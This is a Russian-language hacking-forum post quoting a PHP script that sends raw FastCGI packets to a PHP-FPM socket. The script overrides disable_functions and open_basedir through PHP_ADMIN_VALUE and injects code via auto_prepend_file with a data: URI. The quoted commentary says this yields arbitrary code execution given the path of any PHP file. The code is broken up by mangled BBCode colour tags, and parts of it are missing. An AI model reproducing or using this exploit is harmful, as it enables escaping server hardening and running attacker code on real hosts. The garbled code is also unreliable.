Показать сообщение отдельно

  #8  
Старый 23.12.2019, 20:31
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
Провел на форуме:
169212

Репутация: 441


По умолчанию

Цитата:
Сообщение от crlf  

А для локальных кейсов с FPM, все эти свистопляски не нужны.
Я подумал, что все в курсе ещё с rdot-а Вроде первая реализация была от @d0znpp, но мне больше нравится вариант от @dharrya:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])
[/
COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"tcp://[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]:[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]port[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]/"[/COLOR][COLOR="#007700"];
else
[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"unix://[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_socket_client[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$timeout[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]stream_set_timeout[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fputs[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]);
while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"])) {
[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4096[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"])
break;

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"];
}

while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]))
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4096[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'Primary script unknown'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'Status: 404 Not Found'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Test failed:(\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"];
} else {
echo[/COLOR][COLOR="#DD0000"]"Successful\n"[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]);
}
} else {
echo[/COLOR][COLOR="#DD0000"]"no connection:`("[/COLOR][COLOR="#007700"];
}
}

function[/
COLOR][COLOR="#0000BB"]initializeParams[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]= array()){
[/
COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

foreach ([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"CN"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]),([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]"GET"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"SERVER_PROTOCOL"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"HTTP/1.1"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"GATEWAY_INTERFACE"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"CGI/1.1"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"SERVER_NAME"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"localhost"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"HTTP_HOST"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"localhost"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"REMOTE_ADDR"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"127.0.0.1"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"SCRIPT_FILENAME"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$scriptFile[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"PHP_ADMIN_VALUE"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]join[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"], [
[/
COLOR][COLOR="#DD0000"]"allow_url_fopen=On"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"allow_url_include=On"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"disable_functions=Off"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"open_basedir=Off"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"short_open_tag=On"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"auto_prepend_file=data:,"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])
])
)
);
[/
COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]to_s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]to_s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);

return[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"];
}

[/
COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]buildPacket[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'echo "OK!";'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]sendRequest[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9000[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]);
[/
COLOR][/COLOR
Цитата:
Сообщение от dharrya  
Соответственно нужный тебе код в в функции buildPacket. Единственное условие - для выполнения произвольного кода, тебе нужно знать путь к одному ЛЮБОМУ php-файлу. Это может быть PEAR или Composer или что-угодно еще (e.g. ты нашел раскрытие пути в проекте).
open_basedir и diasble_functions просто перезаписываются. Скрипт может в HTTP/SOCK.
 
Ответить с цитированием